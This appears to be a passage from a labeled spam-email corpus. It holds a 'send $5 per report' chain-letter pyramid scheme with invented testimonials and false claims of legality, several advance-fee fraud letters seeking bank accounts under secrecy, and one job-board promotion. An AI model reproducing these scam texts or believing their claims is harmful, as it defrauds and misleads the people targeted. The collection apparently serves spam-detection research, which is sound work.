provide same day service on all orders. This will guarantee that the e-mail they send out with your name and address on it, will be prompt because they can not advertise until they receive the report. =ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper or aluminum foil. On one of those sheets of paper, Write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW: +++++++++++++++++++++++++++++++++++++++++++++++++++ REPORT #1: The Insider's Guide to Advertising for Free on the Net Order Report #1 from: R. R. PO Box 18048 Chicago, IL 60618 __________________________________________________________ REPORT #2: The Insider's Guide to Sending Bulk e-mail on the Net Order Report #2 from: GM Boland 353 Jonestown Rd. Suite 125 Winston Salem, NC 27104 __________________________________________________________ REPORT #3: Secret to Multilevel marketing on the Net Order Report #3 from: R. Chernick PO Box 771661 C.S. Florida 33077 __________________________________________________________ REPORT #4: How to become a millionaire utilizing MLM & the Net Order Report #4 from: M. Eiseman PO Box 451971 Sunrise, Florida 33345-1971 ____________________________________________________ REPORT #5: How to send out 0ne Million emails for free Order Report #5 From: L.Samon PO BOX 31 Castletown Isle of Man IM 99 5XP +++++++++++++++++++++++++++++++++++++++++++++++++++ $$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$$$ Follow these guidelines to guarantee your success: +++ If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. =orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT #2. If you did not, continue advertising or sending e-mails until you do. +++ Once you have received 100 or more orders for Report #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a Different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business!!! +++++++++++++++++++++++++++++++++++++++++++++++++++ FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report#1 and moved others to #2 thru #5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW! ++++++++++++++++ MORE TESTIMONIALS ++++++++++++++++ ""My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving ""junk mail"". I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I ""knew"" it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old ""I told you so"" on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00....all cash! I was shocked. I have joined Jody in her ""hobby"". Mitchell Wolf, Chicago, Illinois +++++++++++++++++++++++++++++++++++++++++++++++++++ ""Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back"". ""I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big"". Dan Sondstrom, Alberta, Canada +++++++++++++++++++++++++++++++++++++++++++++++++++ ""I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else......11 months passed then it luckily came again...... I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks"". Susan De Suza, New York, N.Y +++++++++++++++++++++++++++++++++++++++++++++++++++ If you have any questions of the legality of this program, contact the Office of Associate Director for Marketing Practices, Federal Trade Commission, Bureau of Consumer Protection, Washington,D.C. +++++++++++++++++++++++++++++++++++++++++++++++++++ This email was sent to you via Saf-E Mail Systems. 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As it turns out, the boy had been sending out, via E-mail, a type of ""Report"" to E-mail addresses that he obtained off the Internet. Everyday after school for the past 2 months, he had been doing this right on his computer in his bedroom. ""I just got the E-mail one day and I figured what the heck, I put my name on it like the instructions said and I started sending it out"", says the clever 15-year-old. The E-mail letter listed 5 addresses and contained instructions to send one $5 dollar bill to each person on the list, then delete the address at the top and move the others addresses down, and finally to add your name to the top of the list. The letter goes on to state that you would receive several thousand dollars in five-dollar bills within 2 weeks if you sent out the letter with your name at the top of the 5-address list. ""I get junk E-mail all the time, and really did not think it was going to work"", the boy continues. Within the first few days of sending out the E-mail, the Post Office Box that his parents had gotten him for his video-game magazine subscriptions began to fill up with not magazines, but envelopes containing $5 bills. ""About a week later I rode [my bike] down to the post office and my box had 1 magazine and about 300 envelops stuffed in it. There was also a yellow slip that said I had to go up to the [post office] counter. I thought I was in trouble or something (laughs)"". He goes on, ""I went up to the counter and they had a whole box of more mail for me. I had to ride back home and empty out my backpack because I could not carry it all"". Over the next few weeks, the boy continued sending out the E-mail. ""The money just kept coming in and I just kept sorting it and stashing it in the closet, barely had time for my homework"". He had also been riding his bike to several of the banks in his area and exchanging the $5 bills for twenties, fifties and hundreds. ""I didn't want the banks to get suspicious so I kept riding to different banks with like five thousand at a time in my backpack. I would usually tell the lady at the bank counter that my dad had sent me in to exchange the money and he was outside waiting for me. One time the lady gave me a really strange look and told me that she would not be able to do it for me and my dad would have to come in and do it, but I just rode to the next bank down the street (laughs)."" Surprisingly, the boy did not have any reason to be afraid. The reporting news team examined and investigated the so-called ""chain-letter"" the boy was sending out and found that it was not a chain-letter at all. In fact, it was completely legal according to US Postal and Lottery Laws, Title 18, Section 1302 and 1341, or Title 18, Section 3005 in the US code, also in the code of federal regulations, Volume 16, Sections 255 and 436, which state a product or service must be exchanged for money received. Every five-dollar bill that he received contained a little note that read, ""Please send me report number XYX"".This simple note made the letter legal because he was exchanging a service (A Report on how-to) for a five-dollar fee. [This is the end of the media release. If you would like to understand how the system works and get your $71,000 - please continue reading. What appears below is what the 15 year old was sending out on the net - YOU CAN USE IT TOO - just follow the simple instructions]. THANKS TO THE COMPUTER AGE AND THE INTERNET ! ================================================== You will Make over half million dollars every 4 to 5 months from your home!! Before you say ''Bull'', please read the following. This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the Internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ''absolutely NO Laws prohibiting the participation in the program and if people can -follow the simple instructions, they are bound to make some mega bucks with only $25 out of pocket cost''. DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: '' Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received total $610,470.00 in 21 weeks, with money still coming in''. Pam Hedland, Fort Lee, New Jersey. ========================================================= =======Here is another testimonial: ''' this program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and wallaa ..... 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything.'' More testimonials later but first: ===== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ======== $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$ FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: ================Order all 5 reports shown on the list below ================= For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. === When you place your order, make sure you order each of the 5 reports. You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5=$25.00. Within a few days you will receive, via e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in step '' 1 through 6 '' or you will loose out on majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. Remember, this method has been tested, and if you alter, it will NOT work !!! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. Believe us, we all have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! 1.... After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT #5. This person has made it through the cycle and is no doubt counting their fortune. 2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 5.... Move the name & address in REPORT # 1 down TO REPORT # 2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! ========================================================= ======= **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you loose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 Primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ========================================================= ======= Let's say that you decide to start small, just to see how it goes, and we will assume You and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receive only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also many people will send out hundreds of thousands e-mails instead of only 5,000 each).Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1 Those 10 people responded by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's=100 people responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report! # 4. Whose 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5 THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half million). Your total income in this example is: 1..... $50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 5..... $500,000 ........ Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLERESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY ! ========================================================= ======= REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000e-mails each or more? There are over 150 million people on the Internet worldwide and counting. Believe me, many people will do just that, and more! METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET ========================================================= ======= Advertising on the net is very very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the Internet will easily get a larger response. We strongly suggest you start with Method # 1and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the Report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they can not advertise until they receive the report. ===================AVAILABLE REPORTS ========================== ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, Write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW : ========================================================= ======= REPORT #1 ""The Insider's Guide to Advertising for Free on the Net"" Order Report #1 from: K.Palludan 9550 Summersweet Ct. Las Vegas, Nevada 89123 USA ________________________________________________________________ ______ REPORT #2 ""'The insider's Guide to Sending Bulk e-mail on the Net' Order Report #2 from: Kris Estes 3055 Casey Drive #203 Las Vegas, Nevada 89120 ________________________________________________________________ ______ REPORT #3 ""'Secret to Multilevel Marketing on the Net"" Order Report #3 from : P. Clement 601 St-Malo Est Ile Bizard, Quebec H9C2P2 CANADA ________________________________________________________________ ______ REPORT #4 ""'How to become a Millionaire Utilizing MLM and the Net"" Order Report #4 from: David Carpenter 13 Dutch lane Hazlet, New Jersey 07732 USA ________________________________________________________________ _____ REPORT #5 ""'How to send out one Million e-mails for FREE"" Order Report #5 from: S. Lasley 4230 Edgewood Circle Idaho Falls, Idaho 83406 USA ________________________________________________________________ _____ $$$$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$$$$$$$$ Follow these guidelines to guarantee your success: === If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. === After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT # 2. If you did not, continue advertising or sending e-mails until you do. === Once you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a Different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business !!! ========================================================= ======= FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2 ...........# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers! you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW ! ====================== MORE TESTIMONIALS====================== '' My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving ''junk mail''. I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I ''knew'' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old ''I told you so'' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00 ........... all cash! I was shocked. ! I have joined Jody in her ''hobby''. Mitchell Wolf M.D., Chicago, Illinois ========================================================= ======= '' Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back''. '' I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big''. Dan Sondstrom, Alberta, Canada ========================================================= ======= '' I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact ! to get another copy, so I had to wait until I was e-mailed again by someone else.........11 months passed then it luckily came again.....I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks''. Susan De Suza, New York, N.Y. ========================================================= ====== '' It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20,560.00 and by the end of third month my total cash count was $ 362,840.00. Life is beautiful, Thanx to internet''. Fred Dellaca, Westport, New Zealand ========================================================= =======ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL FREEDOM ! ========================================================= ======= If you have any questions of the legality of this program, contact the Office of Associate Director for Marketing Practices, Federal Trade Commission, Bureau of Consumer Protection, Washington, D.C. ========================================================= ======= THERE IS NO NEED TO RESPOND TO THIS E-MAIL IF YOU DO NOT WISH TO RECEIVE FURTHER CORRESPONDENCE. THIS IS A ONETIME E-MAIL. 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8bit KEVIN GEORGE ABIDJAN,COTE D'IVORIE WEST AFRICA Dearest one, Although we have not met, I got your contact through the internet and decided to contact you for assistance. I was, until recently, a final year engineering student of the University of Sierra Leone,West Africa. Early in January last year, the rebels in my country struck our township and killed my parents in one of their attacks. My late father, King Christopher George being the King of the Town was a prime target. Fortunately for me, I was in school when the attack took place. I equally lost my only sister to the rebels. When I got home for the remains of my parents and the subsequent burial that followed, I discovered a document indicating that my late father had deposited some $6M.United States Dollars(six million united states dollars) with one of the private security company here in abidjan cote d'ivorie. This money, according to the docement, was meant for the building of an Auto repair company for me by my late father,when I complete my studies. Upon the discovery of this document, I travelled to the cote d'ivorie to trace the concerned security company and to make claims for the said money as the only surviving next of kin to my father. But deliberatley, I have decided to keep all my uncles and Aunts out of the issue as none of them will be happy to know I am in possession of such money. I have succeded in making the people at the security company believe that I am the next of Kin and all the documents related to are now with me. I do not know what to do with it but I have decided to contact you to seek your assistance in helping me to take it outfrom the security company and transfer it to your account and help me to come to your country to continue my education and so that you will help me to get the money invested until such a time that I will be ready to begin to use it. I am really desperate as I am left alone now in the world.Let me know what you want as compensation for helping me to solve this my problem. Most importantly,Iseriously appeal that you maintain high level of secrecy and confidentiality in the whole thing. Please you can call me wilth is number 00225-075-03684 I remain yours sincerely, KEVIN GEORGE --------------------------------- Yahoo! Mail -- Une adresse @yahoo.fr gratuite et en franais ! --0-1118764524-1030968705=:44128 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit KEVIN GEORGE ABIDJAN,COTE D'IVORIEWEST AFRICA Dearest one, Although we have not met, I got your contact through the internet and  decided to contact you for assistance. I was, until recently, a final  year engineering student of the University of Sierra Leone,West Africa.  Early in January last year, the rebelsin my country struck our township and killed my parents in one of their attacks. My late father, King Christopher George being the King of the Town was a prime target. Fortunately for me, I was in school when the attack took  place. I equally lost my only sister to the rebels. When I got home for the remains of my parents and the subsequent burial that followed, I discovered a document indicating that my late father had deposited some $6M.United States Dollars(six million united states dollars) with one of the private security company here in abidjan cote d'ivorie. This money, according to the docement, was meant for the building of an Auto repair company for me by my late father,when I complete my studies. Upon the discovery of this document, I travelled to the cote d'ivorie to trace the concerned security company and to make claims for the said money as the only surviving nextof kin to my father. But deliberatley, I have decided to keep all my uncles and Aunts out of the issue as none of them will be happy to know I am in possession of such money. I have succeded in making the people at the security company believe that I am the next of Kin and all the documents related to are now with me. I do not know what to do with it but I have decided to contact you to seek your assistance in helping me to take it outfrom the security company and transfer it  to your account and help me to come to your country to continue my education and so that you will help me to get the money invested until such atime that I will be ready to begin to use it. I am really desperate as I am left alone now in the world.Let me know what you want as compensation for helpingme to solve this my problem. Most importantly,Iseriously appeal that you maintain high level of secrecy and confidentiality in the whole thing.Please you can call me wilth is number 00225-075-03684I remain yours sincerely, KEVIN GEORGE                                                                             Yahoo! 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Olusegun Obasanjo (Rtd), my client has come under severe persecution due to the sensitive position he held in the last military regime, presently he is under house arrest restricted only to the confines of his village. The main purpose of this mail is to intimate you of a business proposal that might be of interest to you. My client has informed me of the existence of funds deposited with a security company abroad. This fund came about as part of security votes that were allocated to my client's portfolio during his tenure as chief security advicer to the then president. What happened was that he had part of the funds transferred from the vaults of the Central Bank Of Nigeria to this security outfit with the aim of purchasing arms and ammunitions for the personal security outfit of the then president. But before the purchase could take place the president died. My client has deceided to keep this for himself as all his properties has been confisticated by the present regime. But due to his incarceration he cannot travel out and effect the change of possession to his benefit. I have been mandated by my client to source for a foreign partner that can help him facilitate the change of possession. The deposit certificate and the code needed for the execution of this endeavour are in my possession. The funds in question is USD33.6M (Thirty-Three Million, Six Hundred Thousand United States dollars Only). Should this proposition be of interest to you,you can reach me through my e-mail address so that we can go through the rudiments of this endeavour. I remain most obliged. Barrister Williams Bassey (JP). Principal Partner.- Bassey & Associates ------=_NextPart_000_020F_01C25394.F5A1C4C0 Content-Type: text/html Content-Transfer-Encoding: 7bit BASSEY& ASSOCIATES FALOMO, IKOYI. LAGOS - NIGERIA. FOR YOUR KIND ATTENTION, RE: REQUEST FOR MUTUALLY BENEFITTING ENDEAVOUR. I humbly crave your indulgence in sending you this mail, if the contents does not meet with your personal and business ethics, I apologize in advance. I am Barrister Williams Bassey ( attorney at law), I represent Alhaji Ishmaila Ibrahim Gwarzo’s estates. Alhaji Gwarzo was the chief security advicer of the then military leader of this country(Nigeria) in the person of Late General Sani Abacha who died on the 8th of June 1998. With the advent of a new democratic dispensation in the country under the leadership of Gen. Olusegun Obasanjo (Rtd), my client has come under severe persecution due to the sensitive position he held in the last military regime, presently he is under house arrest restricted only to the confines of his village. The main purpose of this mail is to intimate you of a business proposal that might be of interest to you. My client has informed me of the existence of funds deposited with a security company abroad. This fund came about as part of security votes that were allocated to my client's portfolio during his tenure as chief security advicer to the then president. What happened was that he had part of the funds transferred from the vaults of the Central Bank Of Nigeria to this security outfit with the aim of purchasing arms and ammunitions for the personal security outfit of the then president. But before the purchase could take place the president died. My client has deceided to keep this for himself as all his properties has been confisticated by the present regime. But due to his incarceration he cannot travel out and effect the change of possession to his benefit. I have been mandated by my client to source for a foreign partner that can help him facilitate the change of possession. The deposit certificate and the code needed for the execution of this endeavour are in my possession. The funds in question is USD33.6M (Thirty-Three Million, Six Hundred Thousand United States dollars Only). Should this proposition be of interest to you,you can reach me through my e-mail address so that we can go through the rudiments of this endeavour. I remain most obliged. Barrister Williams Bassey (JP). Principal Partner.- Bassey & Associates ------=_NextPart_000_020F_01C25394.F5A1C4C0--",1,0 eb@via.ecp.fr,eb@via.ecp.fr,"Tue, 3 Sep 2002 23:43:57","Over $100,000 Per Year Possible On The Net! No Illegal MLM Junk! Time:11:43:57 PM"," * * * **Over $100,000 The First Year, Most Of That While I Was Sleeping! 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My committee - The Niger Delta Development Corporation(NDDC)-which is in charge of managing and supervising the disbursement of oil sales revenues for the Nigerian government.The revenues under our control runs into several hundred of millions of dollars monthly.My self and other colleagues in the NDDC are currently in need of a foreign partner with whose bank account we shall transfer the sum of Forty Nine Million Five Hundred Thosand United States Dollars($49.5m).This fund accrued to us as commission for oil sales contracts handled under our supervision. The fund is presently waiting in the Government Account named CBN/FGN INDEPENDENT REVENUE account number 400-939134 with J.P.MORGAN CHASE BANK,New York.You can do your independent verifictaion of this. However, by virtue of our position as civil servants and members of the NDDC, we cannot acquire this funds in our name. This is because as top civil servants, we are not allowed by law of the land to own or operate bank accounts outside our country for now. I have been delegated as a matter of trust by my colleagues, to look for an overseas partner in whose account we would transfer the fund Hence the reason for this mail.We shall be Transferring the money to your account with your company as we shall present your company as a registered Foreign company with a branch in Nigeria and you are been paid for a contract which you executed for our country through the NDDC and any oter Federal Ministry that we decide to use to siphon the funds away. For your support and partnership,please reply me to negotiate your fees or the percentage you wish to be paid when the funds arrive your bank account. You must however note that this transaction, with regards to our disposition to continue with you, is subject to these terms. Firstly, our conviction of your transparency. Secondly, that you treat this transaction with utmost secrecy and confidentiality. Finally and above all, that you will provide an account that you have absolute control over. The transaction, although discrete, is legitimate and there is no risk or legal disadvantages either to ourselves or yourself now or in the future as we have put in place perfect mchineries that will ensure a hitch free transfer into your account upon acceptance. The transfer will be effected to your account within ten-fourteen (10-14) working days as soon as we reach an agreement and you furnish me with a suitable bank account and company name and address with all your contact numbers including fax number. I am looking forward to doing business with you and do solicit your confidentiality in this transaction, Please mail your response to me. Yours faithfully, Anderson K. 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",ilug@linux.ie,"Thu, 05 Sep 2002 02:00:11",[ILUG] assistance needed,"ATTN: I am Bulawa Mulete JR. the son of Mr. STEVE MBEKI MULETE from Zimbabwe. I am sorry this mail Will surprise you, though we do not know, Due to the current war against white farmers in Zimbabwe and the support of President Robert Mugabe to Claim all white owned farms in our country to gain Favor for re-election. All white farmers were asked to Surrender their farms to the government for Re-distribution and infact to his political party Members and my father though black was the treasury of the farmers association and a strong member of an Opposition party that did not support the president Idea. He then ordered his party members and the police Under his pay row to invade my father's farm and burn Down everything in the farm. They killed my Father and took away a lot of items from his farm. After the death of my father, our local pastor and a Close friend of my father handed us over will Documents with instructions from my father that we Should leave Zimbabwe incase anything happen to him. The will Documents has a certificate of deposit, confirming a deposit Kept in custody for us in a security company unknown To the company that the content is money hence it was deposited as Personal belongings and ensure that we do not remain here as we could Easily be found by his enemies. The total amount is US$21.5M.We are therefore soliciting for Your assistance to help us move the fund out of Zimbabwe, as our fate and future is far from reality, hence this mail to you. The president's present ban of International Press into Zimbabwe and the drop from office of the Finance Minister to avoid giving white farmers fund Transfer Clearance above US$1M is just a few of the Unthinkable things he is committing in my Country. I have tried to reach my father's close friend Mr. John Casahans from Australia also a farmer who was Leaving in Zimbabwe with us but left with his family Late last year following this ugly development to no Avail. Should you be interested to help us, contact me Immediately via email for easy communication and I Will furnish you with the time frame and modalities of the transaction. We have concluded a wonderful plan of Caring out the transfer within two weeks. Please note that This transaction is100% confidential and risk free and will Not endanger you or us in any way. We have resolved to give you 20% Of the total sum upon confirmation of the fund in any Account of your choice were the incident of taxation will not take much tool on the money and we look Forward to coming over to your country to invest our Share and settle there. I will a private Phone so that our conversation can be 100% confidential. NOTE: DO REPLY TO bulmulete@golfemail.com God bless you indeed as you help yourself and us. Mr. BULAWA MULETE JR -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. 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The presidents supporters invaded my fathers farm, burnt everything in the farm, arrested him and confiscated all his investment. Early last year when this victimization of white farmers by president Mugabe started, my late father envisaged a worse situation, he arranged almost all his money concealed it in a box and smuggled it out of Zimbabwe through Diplomatic means to South Africa. When he arrived South Africa, he lodged the box in a private security company through the help of his lawyer here in South Africa without revealing the real contents of the box to the security company, then, went back home. He registered the box as family treasure. While he was still in detention that led to his death due to torture, he directed me to his lawyer in South Africa because of the escalation of the crisis in Zimbabwe. He did not want my life to be in danger. He was arrested on the 5th of March last year. Unfortunately my dear father died on the 10th of December 2001.I came to south Africa March,2002. Now my stay here in Africa is frustrating and depressing because my fathers lawyer is presently hospitalized in London due to terrible heart problem; though the lodgment documents are with me, as such I want to relocate to your country for good. Presently, my residence permit here in South Africa is an Asylum permit as a refugee. I am seeking for your assistance in transferring the money in the security company (US$15 Million) out of this country to your country for investment. If you think you can help me, Please try to get in touch with me immediately with the number below . Your compensation/share for assistance will be negotiated if you are ready to assist me. Since the problem in my country is still lingering, please endeavor to keep this information to yourself and secret, because I wouldnt want anything that will expose me, and the existence of this money. Your urgent response will be highly appreciated. Sincerely yours, STEVEN DUBA (DR). TEL:27-83-713-2696 __________________________________________________ Do You Yahoo!? Yahoo! Finance - Get real-time stock quotes http://finance.yahoo.com",1,1 support@net-temps.com,zzzz-cv@spamassassin.taint.org,"Thu, 5 Sep 2002 02:12:52 -0400 (EDT)",Advance Your Career and Find a Great Job!,"Hi Job Seeker, When you create a FREE My Net-Temps account, you have access to the tools and resources for finding your next job more effectively. It only takes a minute. Plus you get news and tips specific to your profession. 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SESE SEKO"" ",social@linux.ie,"Wed, 4 Sep 2002 20:20:31 +0100",[ILUG-Social] URGENT ASSISTANT NEEDED,"Dear friend, I am Mrs. Sese-seko widow of late President Mobutu Sese-seko of Zaire, now known as Democratic Republic of Congo (DRC). I am moved to write you this letter. This was in confidence considering my present circumstance and situation. I escaped along with my husband and two of our sons James Kongolo and Nzanga out of Democratic Republic of Congo (DRC) to Abidjan, Coted'ivoire where my family and I settled, while we later moved to settled in Morroco where my husband later died of cancer disease. However, due to this situation we decided to change most of my husband's billions of dollars deposited in Swiss bank and other countries into other forms of money coded for safe purpose because the new head of state of (Dr) Mr Laurent Kabila has made arrangement with the Swiss government and other European countries to freeze all my late husband's treasures deposited in some european countries. Hence, my children and I decided laying low in Africa to study the situation till when things gets better. Like now that president Kabila is dead and the son taking over (Joseph Kabila). One of my late husband's chateaux in Southern France was confiscated by the french government, and as such I had to change my identity so that my investment will not be traced and confiscated.I have deposited the sum Eighteen Million United State Dollars (US$18,000,000,00.) With a security company for safe keeping. What I want you to do is to indicate yourinterest that you can assist us in receiving the money on our behalf, so that I can introduce you to my son (Kongolo) who has the out modalities for the claim of the said funds. I want you to assist in investing this money, but I will not want my identity revealed.I will also want to acquire real/landed properties and stock in multi-national companies and to engage in other safe and non-speculative investments as adviseby your good self. May I at this point emphasize the high level of confidentiality, which this upcoming project demands,and hope you will not betray the trust and confidence, which I repose in you.In conclusion, if you want to assist us, my son (Kongolo) shall divulgeto you all briefs regarding this project, tell you where the funds are currently being maintained and also discuss remuneration for your services.For this reason kindly furnish us your contact information,that is your personal telephone and fax number for validation purpose and acknowledge receipt of this mail using the above email address. Yours sincerely, Mrs. Mariam M. Seseseko. -- Irish Linux Users' Group Social Events: social@linux.ie http://www.linux.ie/mailman/listinfo/social for (un)subscription information. List maintainer: listmaster@linux.ie",1,1 """LAURENT MPETI 